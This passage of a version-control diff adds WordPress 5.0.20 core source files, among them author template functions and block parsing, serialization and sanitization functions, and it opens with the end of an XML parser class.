+
+    function _default($parser, $data) {
+        # when does this gets called?
+    }
+
+
+    function ns_to_prefix($qname, $attr=false) {
+        # split 'http://www.w3.org/1999/xhtml:div' into ('http','//www.w3.org/1999/xhtml','div')
+        $components = explode(":", $qname);
+
+        # grab the last one (e.g 'div')
+        $name = array_pop($components);
+
+        if(!empty($components)) {
+            # re-join back the namespace component
+            $ns = join(":",$components);
+            foreach($this->ns_contexts as $context) {
+                foreach($context as $mapping) {
+                    if($mapping[1] == $ns && strlen($mapping[0]) > 0) {
+                        return array($mapping, "$mapping[0]:$name");
+                    }
+                }
+            }
+        }
+
+        if($attr) {
+            return array(null, $name);
+        } else {
+            foreach($this->ns_contexts as $context) {
+                foreach($context as $mapping) {
+                    if(strlen($mapping[0]) == 0) {
+                        return array($mapping, $name);
+                    }
+                }
+            }
+        }
+    }
+
+    function is_declared_content_ns($new_mapping) {
+        foreach($this->content_ns_contexts as $context) {
+            foreach($context as $mapping) {
+                if($new_mapping == $mapping) {
+                    return true;
+                }
+            }
+        }
+        return false;
+    }
+
+    function xml_escape($string)
+    {
+             return str_replace(array('&','"',"'",'<','>'),
+                array('&amp;','&quot;','&apos;','&lt;','&gt;'),
+                $string );
+    }
+}
Index: /tags/5.0.20/src/wp-includes/author-template.php
===================================================================
--- /tags/5.0.20/src/wp-includes/author-template.php	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/author-template.php	(revision 56912)
@@ -0,0 +1,547 @@
+<?php
+/**
+ * Author Template functions for use in themes.
+ *
+ * These functions must be used within the WordPress Loop.
+ *
+ * @link https://codex.wordpress.org/Author_Templates
+ *
+ * @package WordPress
+ * @subpackage Template
+ */
+
+/**
+ * Retrieve the author of the current post.
+ *
+ * @since 1.5.0
+ *
+ * @global object $authordata The current author's DB object.
+ *
+ * @param string $deprecated Deprecated.
+ * @return string|null The author's display name.
+ */
+function get_the_author($deprecated = '') {
+	global $authordata;
+
+	if ( !empty( $deprecated ) )
+		_deprecated_argument( __FUNCTION__, '2.1.0' );
+
+	/**
+	 * Filters the display name of the current post's author.
+	 *
+	 * @since 2.9.0
+	 *
+	 * @param string $authordata->display_name The author's display name.
+	 */
+	return apply_filters('the_author', is_object($authordata) ? $authordata->display_name : null);
+}
+
+/**
+ * Display the name of the author of the current post.
+ *
+ * The behavior of this function is based off of old functionality predating
+ * get_the_author(). This function is not deprecated, but is designed to echo
+ * the value from get_the_author() and as an result of any old theme that might
+ * still use the old behavior will also pass the value from get_the_author().
+ *
+ * The normal, expected behavior of this function is to echo the author and not
+ * return it. However, backward compatibility has to be maintained.
+ *
+ * @since 0.71
+ * @see get_the_author()
+ * @link https://codex.wordpress.org/Template_Tags/the_author
+ *
+ * @param string $deprecated Deprecated.
+ * @param string $deprecated_echo Deprecated. Use get_the_author(). Echo the string or return it.
+ * @return string|null The author's display name, from get_the_author().
+ */
+function the_author( $deprecated = '', $deprecated_echo = true ) {
+	if ( ! empty( $deprecated ) ) {
+		_deprecated_argument( __FUNCTION__, '2.1.0' );
+	}
+
+	if ( true !== $deprecated_echo ) {
+		_deprecated_argument( __FUNCTION__, '1.5.0',
+			/* translators: %s: get_the_author() */
+			sprintf( __( 'Use %s instead if you do not want the value echoed.' ),
+				'<code>get_the_author()</code>'
+			)
+		);
+	}
+
+	if ( $deprecated_echo ) {
+		echo get_the_author();
+	}
+
+	return get_the_author();
+}
+
+/**
+ * Retrieve the author who last edited the current post.
+ *
+ * @since 2.8.0
+ *
+ * @return string|void The author's display name.
+ */
+function get_the_modified_author() {
+	if ( $last_id = get_post_meta( get_post()->ID, '_edit_last', true) ) {
+		$last_user = get_userdata($last_id);
+
+		/**
+		 * Filters the display name of the author who last edited the current post.
+		 *
+		 * @since 2.8.0
+		 *
+		 * @param string $last_user->display_name The author's display name.
+		 */
+		return apply_filters('the_modified_author', $last_user->display_name);
+	}
+}
+
+/**
+ * Display the name of the author who last edited the current post,
+ * if the author's ID is available.
+ *
+ * @since 2.8.0
+ *
+ * @see get_the_author()
+ */
+function the_modified_author() {
+	echo get_the_modified_author();
+}
+
+/**
+ * Retrieves the requested data of the author of the current post.
+ *
+ * Valid values for the `$field` parameter include:
+ *
+ * - admin_color
+ * - aim
+ * - comment_shortcuts
+ * - description
+ * - display_name
+ * - first_name
+ * - ID
+ * - jabber
+ * - last_name
+ * - nickname
+ * - plugins_last_view
+ * - plugins_per_page
+ * - rich_editing
+ * - syntax_highlighting
+ * - user_activation_key
+ * - user_description
+ * - user_email
+ * - user_firstname
+ * - user_lastname
+ * - user_level
+ * - user_login
+ * - user_nicename
+ * - user_pass
+ * - user_registered
+ * - user_status
+ * - user_url
+ * - yim
+ *
+ * @since 2.8.0
+ *
+ * @global object $authordata The current author's DB object.
+ *
+ * @param string $field   Optional. The user field to retrieve. Default empty.
+ * @param int    $user_id Optional. User ID.
+ * @return string The author's field from the current author's DB object, otherwise an empty string.
+ */
+function get_the_author_meta( $field = '', $user_id = false ) {
+	$original_user_id = $user_id;
+
+	if ( ! $user_id ) {
+		global $authordata;
+		$user_id = isset( $authordata->ID ) ? $authordata->ID : 0;
+	} else {
+		$authordata = get_userdata( $user_id );
+	}
+
+	if ( in_array( $field, array( 'login', 'pass', 'nicename', 'email', 'url', 'registered', 'activation_key', 'status' ) ) )
+		$field = 'user_' . $field;
+
+	$value = isset( $authordata->$field ) ? $authordata->$field : '';
+
+	/**
+	 * Filters the value of the requested user metadata.
+	 *
+	 * The filter name is dynamic and depends on the $field parameter of the function.
+	 *
+	 * @since 2.8.0
+	 * @since 4.3.0 The `$original_user_id` parameter was added.
+	 *
+	 * @param string   $value            The value of the metadata.
+	 * @param int      $user_id          The user ID for the value.
+	 * @param int|bool $original_user_id The original user ID, as passed to the function.
+	 */
+	return apply_filters( "get_the_author_{$field}", $value, $user_id, $original_user_id );
+}
+
+/**
+ * Outputs the field from the user's DB object. Defaults to current post's author.
+ *
+ * @since 2.8.0
+ *
+ * @param string $field   Selects the field of the users record. See get_the_author_meta()
+ *                        for the list of possible fields.
+ * @param int    $user_id Optional. User ID.
+ *
+ * @see get_the_author_meta()
+ */
+function the_author_meta( $field = '', $user_id = false ) {
+	$author_meta = get_the_author_meta( $field, $user_id );
+
+	/**
+	 * The value of the requested user metadata.
+	 *
+	 * The filter name is dynamic and depends on the $field parameter of the function.
+	 *
+	 * @since 2.8.0
+	 *
+	 * @param string $author_meta The value of the metadata.
+	 * @param int    $user_id     The user ID.
+	 */
+	echo apply_filters( "the_author_{$field}", $author_meta, $user_id );
+}
+
+/**
+ * Retrieve either author's link or author's name.
+ *
+ * If the author has a home page set, return an HTML link, otherwise just return the
+ * author's name.
+ *
+ * @since 3.0.0
+ *
+ * @return string|null An HTML link if the author's url exist in user meta,
+ *                     else the result of get_the_author().
+ */
+function get_the_author_link() {
+	if ( get_the_author_meta('url') ) {
+		return sprintf( '<a href="%1$s" title="%2$s" rel="author external">%3$s</a>',
+			esc_url( get_the_author_meta('url') ),
+			/* translators: %s: author's display name */
+			esc_attr( sprintf( __( 'Visit %s&#8217;s website' ), get_the_author() ) ),
+			get_the_author()
+		);
+	} else {
+		return get_the_author();
+	}
+}
+
+/**
+ * Display either author's link or author's name.
+ *
+ * If the author has a home page set, echo an HTML link, otherwise just echo the
+ * author's name.
+ *
+ * @link https://codex.wordpress.org/Template_Tags/the_author_link
+ *
+ * @since 2.1.0
+ */
+function the_author_link() {
+	echo get_the_author_link();
+}
+
+/**
+ * Retrieve the number of posts by the author of the current post.
+ *
+ * @since 1.5.0
+ *
+ * @return int The number of posts by the author.
+ */
+function get_the_author_posts() {
+	$post = get_post();
+	if ( ! $post ) {
+		return 0;
+	}
+	return count_user_posts( $post->post_author, $post->post_type );
+}
+
+/**
+ * Display the number of posts by the author of the current post.
+ *
+ * @link https://codex.wordpress.org/Template_Tags/the_author_posts
+ * @since 0.71
+ */
+function the_author_posts() {
+	echo get_the_author_posts();
+}
+
+/**
+ * Retrieves an HTML link to the author page of the current post's author.
+ *
+ * Returns an HTML-formatted link using get_author_posts_url().
+ *
+ * @since 4.4.0
+ *
+ * @global object $authordata The current author's DB object.
+ *
+ * @return string An HTML link to the author page.
+ */
+function get_the_author_posts_link() {
+	global $authordata;
+	if ( ! is_object( $authordata ) ) {
+		return;
+	}
+
+	$link = sprintf( '<a href="%1$s" title="%2$s" rel="author">%3$s</a>',
+		esc_url( get_author_posts_url( $authordata->ID, $authordata->user_nicename ) ),
+		/* translators: %s: author's display name */
+		esc_attr( sprintf( __( 'Posts by %s' ), get_the_author() ) ),
+		get_the_author()
+	);
+
+	/**
+	 * Filters the link to the author page of the author of the current post.
+	 *
+	 * @since 2.9.0
+	 *
+	 * @param string $link HTML link.
+	 */
+	return apply_filters( 'the_author_posts_link', $link );
+}
+
+/**
+ * Displays an HTML link to the author page of the current post's author.
+ *
+ * @since 1.2.0
+ * @since 4.4.0 Converted into a wrapper for get_the_author_posts_link()
+ *
+ * @param string $deprecated Unused.
+ */
+function the_author_posts_link( $deprecated = '' ) {
+	if ( ! empty( $deprecated ) ) {
+		_deprecated_argument( __FUNCTION__, '2.1.0' );
+	}
+	echo get_the_author_posts_link();
+}
+
+/**
+ * Retrieve the URL to the author page for the user with the ID provided.
+ *
+ * @since 2.1.0
+ *
+ * @global WP_Rewrite $wp_rewrite
+ *
+ * @param int    $author_id       Author ID.
+ * @param string $author_nicename Optional. The author's nicename (slug). Default empty.
+ * @return string The URL to the author's page.
+ */
+function get_author_posts_url( $author_id, $author_nicename = '' ) {
+	global $wp_rewrite;
+	$auth_ID = (int) $author_id;
+	$link = $wp_rewrite->get_author_permastruct();
+
+	if ( empty($link) ) {
+		$file = home_url( '/' );
+		$link = $file . '?author=' . $auth_ID;
+	} else {
+		if ( '' == $author_nicename ) {
+			$user = get_userdata($author_id);
+			if ( !empty($user->user_nicename) )
+				$author_nicename = $user->user_nicename;
+		}
+		$link = str_replace('%author%', $author_nicename, $link);
+		$link = home_url( user_trailingslashit( $link ) );
+	}
+
+	/**
+	 * Filters the URL to the author's page.
+	 *
+	 * @since 2.1.0
+	 *
+	 * @param string $link            The URL to the author's page.
+	 * @param int    $author_id       The author's id.
+	 * @param string $author_nicename The author's nice name.
+	 */
+	$link = apply_filters( 'author_link', $link, $author_id, $author_nicename );
+
+	return $link;
+}
+
+/**
+ * List all the authors of the site, with several options available.
+ *
+ * @link https://codex.wordpress.org/Template_Tags/wp_list_authors
+ *
+ * @since 1.2.0
+ *
+ * @global wpdb $wpdb WordPress database abstraction object.
+ *
+ * @param string|array $args {
+ *     Optional. Array or string of default arguments.
+ *
+ *     @type string       $orderby       How to sort the authors. Accepts 'nicename', 'email', 'url', 'registered',
+ *                                       'user_nicename', 'user_email', 'user_url', 'user_registered', 'name',
+ *                                       'display_name', 'post_count', 'ID', 'meta_value', 'user_login'. Default 'name'.
+ *     @type string       $order         Sorting direction for $orderby. Accepts 'ASC', 'DESC'. Default 'ASC'.
+ *     @type int          $number        Maximum authors to return or display. Default empty (all authors).
+ *     @type bool         $optioncount   Show the count in parenthesis next to the author's name. Default false.
+ *     @type bool         $exclude_admin Whether to exclude the 'admin' account, if it exists. Default false.
+ *     @type bool         $show_fullname Whether to show the author's full name. Default false.
+ *     @type bool         $hide_empty    Whether to hide any authors with no posts. Default true.
+ *     @type string       $feed          If not empty, show a link to the author's feed and use this text as the alt
+ *                                       parameter of the link. Default empty.
+ *     @type string       $feed_image    If not empty, show a link to the author's feed and use this image URL as
+ *                                       clickable anchor. Default empty.
+ *     @type string       $feed_type     The feed type to link to, such as 'rss2'. Defaults to default feed type.
+ *     @type bool         $echo          Whether to output the result or instead return it. Default true.
+ *     @type string       $style         If 'list', each author is wrapped in an `<li>` element, otherwise the authors
+ *                                       will be separated by commas.
+ *     @type bool         $html          Whether to list the items in HTML form or plaintext. Default true.
+ *     @type array|string $exclude       Array or comma/space-separated list of author IDs to exclude. Default empty.
+ *     @type array|string $include       Array or comma/space-separated list of author IDs to include. Default empty.
+ * }
+ * @return string|void The output, if echo is set to false.
+ */
+function wp_list_authors( $args = '' ) {
+	global $wpdb;
+
+	$defaults = array(
+		'orderby' => 'name', 'order' => 'ASC', 'number' => '',
+		'optioncount' => false, 'exclude_admin' => true,
+		'show_fullname' => false, 'hide_empty' => true,
+		'feed' => '', 'feed_image' => '', 'feed_type' => '', 'echo' => true,
+		'style' => 'list', 'html' => true, 'exclude' => '', 'include' => ''
+	);
+
+	$args = wp_parse_args( $args, $defaults );
+
+	$return = '';
+
+	$query_args = wp_array_slice_assoc( $args, array( 'orderby', 'order', 'number', 'exclude', 'include' ) );
+	$query_args['fields'] = 'ids';
+	$authors = get_users( $query_args );
+
+	$author_count = array();
+	foreach ( (array) $wpdb->get_results( "SELECT DISTINCT post_author, COUNT(ID) AS count FROM $wpdb->posts WHERE " . get_private_posts_cap_sql( 'post' ) . " GROUP BY post_author" ) as $row ) {
+		$author_count[$row->post_author] = $row->count;
+	}
+	foreach ( $authors as $author_id ) {
+		$author = get_userdata( $author_id );
+
+		if ( $args['exclude_admin'] && 'admin' == $author->display_name ) {
+			continue;
+		}
+
+		$posts = isset( $author_count[$author->ID] ) ? $author_count[$author->ID] : 0;
+
+		if ( ! $posts && $args['hide_empty'] ) {
+			continue;
+		}
+
+		if ( $args['show_fullname'] && $author->first_name && $author->last_name ) {
+			$name = "$author->first_name $author->last_name";
+		} else {
+			$name = $author->display_name;
+		}
+
+		if ( ! $args['html'] ) {
+			$return .= $name . ', ';
+
+			continue; // No need to go further to process HTML.
+		}
+
+		if ( 'list' == $args['style'] ) {
+			$return .= '<li>';
+		}
+
+		$link = sprintf( '<a href="%1$s" title="%2$s">%3$s</a>',
+			get_author_posts_url( $author->ID, $author->user_nicename ),
+			/* translators: %s: author's display name */
+			esc_attr( sprintf( __( 'Posts by %s' ), $author->display_name ) ),
+			$name
+		);
+
+		if ( ! empty( $args['feed_image'] ) || ! empty( $args['feed'] ) ) {
+			$link .= ' ';
+			if ( empty( $args['feed_image'] ) ) {
+				$link .= '(';
+			}
+
+			$link .= '<a href="' . get_author_feed_link( $author->ID, $args['feed_type'] ) . '"';
+
+			$alt = '';
+			if ( ! empty( $args['feed'] ) ) {
+				$alt = ' alt="' . esc_attr( $args['feed'] ) . '"';
+				$name = $args['feed'];
+			}
+
+			$link .= '>';
+
+			if ( ! empty( $args['feed_image'] ) ) {
+				$link .= '<img src="' . esc_url( $args['feed_image'] ) . '" style="border: none;"' . $alt . ' />';
+			} else {
+				$link .= $name;
+			}
+
+			$link .= '</a>';
+
+			if ( empty( $args['feed_image'] ) ) {
+				$link .= ')';
+			}
+		}
+
+		if ( $args['optioncount'] ) {
+			$link .= ' ('. $posts . ')';
+		}
+
+		$return .= $link;
+		$return .= ( 'list' == $args['style'] ) ? '</li>' : ', ';
+	}
+
+	$return = rtrim( $return, ', ' );
+
+	if ( ! $args['echo'] ) {
+		return $return;
+	}
+	echo $return;
+}
+
+/**
+ * Determines whether this site has more than one author.
+ *
+ * Checks to see if more than one author has published posts.
+ * 
+ * For more information on this and similar theme functions, check out
+ * the {@link https://developer.wordpress.org/themes/basics/conditional-tags/ 
+ * Conditional Tags} article in the Theme Developer Handbook.
+ * 
+ * @since 3.2.0
+ *
+ * @global wpdb $wpdb WordPress database abstraction object.
+ *
+ * @return bool Whether or not we have more than one author
+ */
+function is_multi_author() {
+	global $wpdb;
+
+	if ( false === ( $is_multi_author = get_transient( 'is_multi_author' ) ) ) {
+		$rows = (array) $wpdb->get_col("SELECT DISTINCT post_author FROM $wpdb->posts WHERE post_type = 'post' AND post_status = 'publish' LIMIT 2");
+		$is_multi_author = 1 < count( $rows ) ? 1 : 0;
+		set_transient( 'is_multi_author', $is_multi_author );
+	}
+
+	/**
+	 * Filters whether the site has more than one author with published posts.
+	 *
+	 * @since 3.2.0
+	 *
+	 * @param bool $is_multi_author Whether $is_multi_author should evaluate as true.
+	 */
+	return apply_filters( 'is_multi_author', (bool) $is_multi_author );
+}
+
+/**
+ * Helper function to clear the cache for number of authors.
+ *
+ * @since 3.2.0
+ * @access private
+ */
+function __clear_multi_author_cache() {
+	delete_transient( 'is_multi_author' );
+}
Index: /tags/5.0.20/src/wp-includes/blocks.php
===================================================================
--- /tags/5.0.20/src/wp-includes/blocks.php	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/blocks.php	(revision 56912)
@@ -0,0 +1,531 @@
+<?php
+/**
+ * Functions related to registering and parsing blocks.
+ *
+ * @package WordPress
+ * @subpackage Blocks
+ * @since 5.0.0
+ */
+
+/**
+ * Registers a block type.
+ *
+ * @since 5.0.0
+ *
+ * @param string|WP_Block_Type $name Block type name including namespace, or alternatively a
+ *                                   complete WP_Block_Type instance. In case a WP_Block_Type
+ *                                   is provided, the $args parameter will be ignored.
+ * @param array                $args {
+ *     Optional. Array of block type arguments. Any arguments may be defined, however the
+ *     ones described below are supported by default. Default empty array.
+ *
+ *     @type callable $render_callback Callback used to render blocks of this block type.
+ * }
+ * @return WP_Block_Type|false The registered block type on success, or false on failure.
+ */
+function register_block_type( $name, $args = array() ) {
+	return WP_Block_Type_Registry::get_instance()->register( $name, $args );
+}
+
+/**
+ * Unregisters a block type.
+ *
+ * @since 5.0.0
+ *
+ * @param string|WP_Block_Type $name Block type name including namespace, or alternatively a
+ *                                   complete WP_Block_Type instance.
+ * @return WP_Block_Type|false The unregistered block type on success, or false on failure.
+ */
+function unregister_block_type( $name ) {
+	return WP_Block_Type_Registry::get_instance()->unregister( $name );
+}
+
+/**
+ * Determine whether a post or content string has blocks.
+ *
+ * This test optimizes for performance rather than strict accuracy, detecting
+ * the pattern of a block but not validating its structure. For strict accuracy,
+ * you should use the block parser on post content.
+ *
+ * @since 5.0.0
+ * @see parse_blocks()
+ *
+ * @param int|string|WP_Post|null $post Optional. Post content, post ID, or post object. Defaults to global $post.
+ * @return bool Whether the post has blocks.
+ */
+function has_blocks( $post = null ) {
+	if ( ! is_string( $post ) ) {
+		$wp_post = get_post( $post );
+		if ( $wp_post instanceof WP_Post ) {
+			$post = $wp_post->post_content;
+		}
+	}
+
+	return false !== strpos( (string) $post, '<!-- wp:' );
+}
+
+/**
+ * Determine whether a $post or a string contains a specific block type.
+ *
+ * This test optimizes for performance rather than strict accuracy, detecting
+ * the block type exists but not validating its structure. For strict accuracy,
+ * you should use the block parser on post content.
+ *
+ * @since 5.0.0
+ * @see parse_blocks()
+ *
+ * @param string                  $block_name Full Block type to look for.
+ * @param int|string|WP_Post|null $post Optional. Post content, post ID, or post object. Defaults to global $post.
+ * @return bool Whether the post content contains the specified block.
+ */
+function has_block( $block_name, $post = null ) {
+	if ( ! has_blocks( $post ) ) {
+		return false;
+	}
+
+	if ( ! is_string( $post ) ) {
+		$wp_post = get_post( $post );
+		if ( $wp_post instanceof WP_Post ) {
+			$post = $wp_post->post_content;
+		}
+	}
+
+	/*
+	 * Normalize block name to include namespace, if provided as non-namespaced.
+	 * This matches behavior for WordPress 5.0.0 - 5.3.0 in matching blocks by
+	 * their serialized names.
+	 */
+	if ( false === strpos( $block_name, '/' ) ) {
+		$block_name = 'core/' . $block_name;
+	}
+
+	// Test for existence of block by its fully qualified name.
+	$has_block = false !== strpos( $post, '<!-- wp:' . $block_name . ' ' );
+
+	if ( ! $has_block ) {
+		/*
+		 * If the given block name would serialize to a different name, test for
+		 * existence by the serialized form.
+		 */
+		$serialized_block_name = strip_core_block_namespace( $block_name );
+		if ( $serialized_block_name !== $block_name ) {
+			$has_block = false !== strpos( $post, '<!-- wp:' . $serialized_block_name . ' ' );
+		}
+	}
+
+	return $has_block;
+}
+
+/**
+ * Returns an array of the names of all registered dynamic block types.
+ *
+ * @since 5.0.0
+ *
+ * @return array Array of dynamic block names.
+ */
+function get_dynamic_block_names() {
+	$dynamic_block_names = array();
+
+	$block_types = WP_Block_Type_Registry::get_instance()->get_all_registered();
+	foreach ( $block_types as $block_type ) {
+		if ( $block_type->is_dynamic() ) {
+			$dynamic_block_names[] = $block_type->name;
+		}
+	}
+
+	return $dynamic_block_names;
+}
+
+/**
+ * Given an array of attributes, returns a string in the serialized attributes
+ * format prepared for post content.
+ *
+ * The serialized result is a JSON-encoded string, with unicode escape sequence
+ * substitution for characters which might otherwise interfere with embedding
+ * the result in an HTML comment.
+ *
+ * @since 5.3.1
+ *
+ * @param array $attributes Attributes object.
+ * @return string Serialized attributes.
+ */
+function serialize_block_attributes( $block_attributes ) {
+	$encoded_attributes = json_encode( $block_attributes );
+	$encoded_attributes = preg_replace( '/--/', '\\u002d\\u002d', $encoded_attributes );
+	$encoded_attributes = preg_replace( '/</', '\\u003c', $encoded_attributes );
+	$encoded_attributes = preg_replace( '/>/', '\\u003e', $encoded_attributes );
+	$encoded_attributes = preg_replace( '/&/', '\\u0026', $encoded_attributes );
+	// Regex: /\\"/
+	$encoded_attributes = preg_replace( '/\\\\"/', '\\u0022', $encoded_attributes );
+
+	return $encoded_attributes;
+}
+
+/**
+ * Returns the block name to use for serialization. This will remove the default
+ * "core/" namespace from a block name.
+ *
+ * @since 5.3.1
+ *
+ * @param string $block_name Original block name.
+ * @return string Block name to use for serialization.
+ */
+function strip_core_block_namespace( $block_name = null ) {
+	if ( is_string( $block_name ) && 0 === strpos( $block_name, 'core/' ) ) {
+		return substr( $block_name, 5 );
+	}
+
+	return $block_name;
+}
+
+/**
+ * Returns the content of a block, including comment delimiters.
+ *
+ * @since 5.3.1
+ *
+ * @param string $block_name Block name.
+ * @param array  $attributes Block attributes.
+ * @param string $content    Block save content.
+ * @return string Comment-delimited block content.
+ */
+function get_comment_delimited_block_content( $block_name = null, $block_attributes, $block_content ) {
+	if ( is_null( $block_name ) ) {
+		return $block_content;
+	}
+
+	$serialized_block_name = strip_core_block_namespace( $block_name );
+	$serialized_attributes = empty( $block_attributes ) ? '' : serialize_block_attributes( $block_attributes ) . ' ';
+
+	if ( empty( $block_content ) ) {
+		return sprintf( '<!-- wp:%s %s/-->', $serialized_block_name, $serialized_attributes );
+	}
+
+	return sprintf(
+		'<!-- wp:%s %s-->%s<!-- /wp:%s -->',
+		$serialized_block_name,
+		$serialized_attributes,
+		$block_content,
+		$serialized_block_name
+	);
+}
+
+/**
+ * Returns the content of a block, including comment delimiters, serializing all
+ * attributes from the given parsed block.
+ *
+ * This should be used when preparing a block to be saved to post content.
+ * Prefer `render_block` when preparing a block for display. Unlike
+ * `render_block`, this does not evaluate a block's `render_callback`, and will
+ * instead preserve the markup as parsed.
+ *
+ * @since 5.3.1
+ *
+ * @param WP_Block_Parser_Block $block A single parsed block object.
+ * @return string String of rendered HTML.
+ */
+function serialize_block( $block ) {
+	$block_content = '';
+
+	$index = 0;
+	foreach ( $block['innerContent'] as $chunk ) {
+		$block_content .= is_string( $chunk ) ? $chunk : serialize_block( $block['innerBlocks'][ $index++ ] );
+	}
+
+	if ( ! is_array( $block['attrs'] ) ) {
+		$block['attrs'] = array();
+	}
+
+	return get_comment_delimited_block_content(
+		$block['blockName'],
+		$block['attrs'],
+		$block_content
+	);
+}
+
+/**
+ * Returns a joined string of the aggregate serialization of the given parsed
+ * blocks.
+ *
+ * @since 5.3.1
+ *
+ * @param WP_Block_Parser_Block[] $blocks Parsed block objects.
+ * @return string String of rendered HTML.
+ */
+function serialize_blocks( $blocks ) {
+	return implode( '', array_map( 'serialize_block', $blocks ) );
+}
+
+/**
+ * Filters and sanitizes block content to remove non-allowable HTML from
+ * parsed block attribute values.
+ *
+ * @since 5.3.1
+ *
+ * @param string         $text              Text that may contain block content.
+ * @param array[]|string $allowed_html      An array of allowed HTML elements
+ *                                          and attributes, or a context name
+ *                                          such as 'post'.
+ * @param string[]       $allowed_protocols Array of allowed URL protocols.
+ * @return string The filtered and sanitized content result.
+ */
+function filter_block_content( $text, $allowed_html = 'post', $allowed_protocols = array() ) {
+	$result = '';
+
+	if ( false !== strpos( $text, '<!--' ) && false !== strpos( $text, '--->' ) ) {
+		$text = preg_replace_callback( '%<!--(.*?)--->%', '_filter_block_content_callback', $text );
+	}
+
+	$blocks = parse_blocks( $text );
+	foreach ( $blocks as $block ) {
+		$block   = filter_block_kses( $block, $allowed_html, $allowed_protocols );
+		$result .= serialize_block( $block );
+	}
+
+	return $result;
+}
+
+/**
+ * Callback used for regular expression replacement in filter_block_content().
+ *
+ * @private
+ * @since 6.2.1
+ *
+ * @param array $matches Array of preg_replace_callback matches.
+ * @return string Replacement string.
+ */
+function _filter_block_content_callback( $matches ) {
+	return '<!--' . rtrim( $matches[1], '-' ) . '-->';
+}
+
+/**
+ * Filters and sanitizes a parsed block to remove non-allowable HTML from block
+ * attribute values.
+ *
+ * @since 5.3.1
+ *
+ * @param WP_Block_Parser_Block $block             The parsed block object.
+ * @param array[]|string        $allowed_html      An array of allowed HTML
+ *                                                 elements and attributes, or a
+ *                                                 context name such as 'post'.
+ * @param string[]              $allowed_protocols Allowed URL protocols.
+ * @return array The filtered and sanitized block object result.
+ */
+function filter_block_kses( $block, $allowed_html, $allowed_protocols = array() ) {
+	$block['attrs'] = filter_block_kses_value( $block['attrs'], $allowed_html, $allowed_protocols );
+
+	if ( is_array( $block['innerBlocks'] ) ) {
+		foreach ( $block['innerBlocks'] as $i => $inner_block ) {
+			$block['innerBlocks'][ $i ] = filter_block_kses( $inner_block, $allowed_html, $allowed_protocols );
+		}
+	}
+
+	return $block;
+}
+
+/**
+ * Filters and sanitizes a parsed block attribute value to remove non-allowable
+ * HTML.
+ *
+ * @since 5.3.1
+ *
+ * @param mixed          $value             The attribute value to filter.
+ * @param array[]|string $allowed_html      An array of allowed HTML elements
+ *                                          and attributes, or a context name
+ *                                          such as 'post'.
+ * @param string[]       $allowed_protocols Array of allowed URL protocols.
+ * @return array The filtered and sanitized result.
+ */
+function filter_block_kses_value( $value, $allowed_html, $allowed_protocols = array() ) {
+	if ( is_array( $value ) ) {
+		foreach ( $value as $key => $inner_value ) {
+			$filtered_key   = filter_block_kses_value( $key, $allowed_html, $allowed_protocols );
+			$filtered_value = filter_block_kses_value( $inner_value, $allowed_html, $allowed_protocols );
+
+			if ( $filtered_key !== $key ) {
+				unset( $value[ $key ] );
+			}
+
+			$value[ $filtered_key ] = $filtered_value;
+		}
+	} elseif ( is_string( $value ) ) {
+		return wp_kses( $value, $allowed_html, $allowed_protocols );
+	}
+
+	return $value;
+}
+
+/**
+ * Parses blocks out of a content string, and renders those appropriate for the excerpt.
+ *
+ * As the excerpt should be a small string of text relevant to the full post content,
+ * this function renders the blocks that are most likely to contain such text.
+ *
+ * @since 5.0.0
+ *
+ * @param string $content The content to parse.
+ * @return string The parsed and filtered content.
+ */
+function excerpt_remove_blocks( $content ) {
+	$allowed_blocks = array(
+		// Classic blocks have their blockName set to null.
+		null,
+		'core/columns',
+		'core/freeform',
+		'core/heading',
+		'core/html',
+		'core/list',
+		'core/media-text',
+		'core/paragraph',
+		'core/preformatted',
+		'core/pullquote',
+		'core/quote',
+		'core/table',
+		'core/verse',
+	);
+	/**
+	 * Filters the list of blocks that can contribute to the excerpt.
+	 *
+	 * If a dynamic block is added to this list, it must not generate another
+	 * excerpt, as this will cause an infinite loop to occur.
+	 *
+	 * @since 4.4.0
+	 *
+	 * @param array $allowed_blocks The list of allowed blocks.
+	 */
+	$allowed_blocks = apply_filters( 'excerpt_allowed_blocks', $allowed_blocks );
+	$blocks = parse_blocks( $content );
+	$output = '';
+	 foreach ( $blocks as $block ) {
+		if ( in_array( $block['blockName'], $allowed_blocks, true ) ) {
+			$output .= render_block( $block );
+		}
+	}
+	 return $output;
+}
+
+/**
+ * Renders a single block into a HTML string.
+ *
+ * @since 5.0.0
+ *
+ * @global WP_Post $post The post to edit.
+ *
+ * @param array $block A single parsed block object.
+ * @return string String of rendered HTML.
+ */
+function render_block( $block ) {
+	global $post;
+
+	$block_type    = WP_Block_Type_Registry::get_instance()->get_registered( $block['blockName'] );
+	$is_dynamic    = $block['blockName'] && null !== $block_type && $block_type->is_dynamic();
+	$block_content = '';
+	$index         = 0;
+
+	foreach ( $block['innerContent'] as $chunk ) {
+		$block_content .= is_string( $chunk ) ? $chunk : render_block( $block['innerBlocks'][ $index++ ] );
+	}
+
+	if ( ! is_array( $block['attrs'] ) ) {
+		$block['attrs'] = array();
+	}
+
+	if ( $is_dynamic ) {
+		$global_post   = $post;
+		$block_content = $block_type->render( $block['attrs'], $block_content );
+		$post          = $global_post;
+	}
+
+	/**
+	 * Filters the content of a single block.
+	 *
+	 * @since 5.0.0
+	 *
+	 * @param string $block_content The block content about to be appended.
+	 * @param array  $block         The full block, including name and attributes.
+	 */
+	return apply_filters( 'render_block', $block_content, $block );
+}
+
+/**
+ * Parses blocks out of a content string.
+ *
+ * @since 5.0.0
+ *
+ * @param string $content Post content.
+ * @return array Array of parsed block objects.
+ */
+function parse_blocks( $content ) {
+	/**
+	 * Filter to allow plugins to replace the server-side block parser
+	 *
+	 * @since 5.0.0
+	 *
+	 * @param string $parser_class Name of block parser class.
+	 */
+	$parser_class = apply_filters( 'block_parser_class', 'WP_Block_Parser' );
+
+	$parser = new $parser_class();
+	return $parser->parse( $content );
+}
+
+/**
+ * Parses dynamic blocks out of `post_content` and re-renders them.
+ *
+ * @since 5.0.0
+ * @global WP_Post $post The post to edit.
+ *
+ * @param  string $content Post content.
+ * @return string Updated post content.
+ */
+function do_blocks( $content ) {
+	// If there are blocks in this content, we shouldn't run wpautop() on it later.
+	$priority = has_filter( 'the_content', 'wpautop' );
+	if ( false !== $priority && doing_filter( 'the_content' ) && has_blocks( $content ) ) {
+		remove_filter( 'the_content', 'wpautop', $priority );
+		add_filter( 'the_content', '_restore_wpautop_hook', $priority + 1 );
+	}
+
+	$blocks = parse_blocks( $content );
+	$output = '';
+
+	foreach ( $blocks as $block ) {
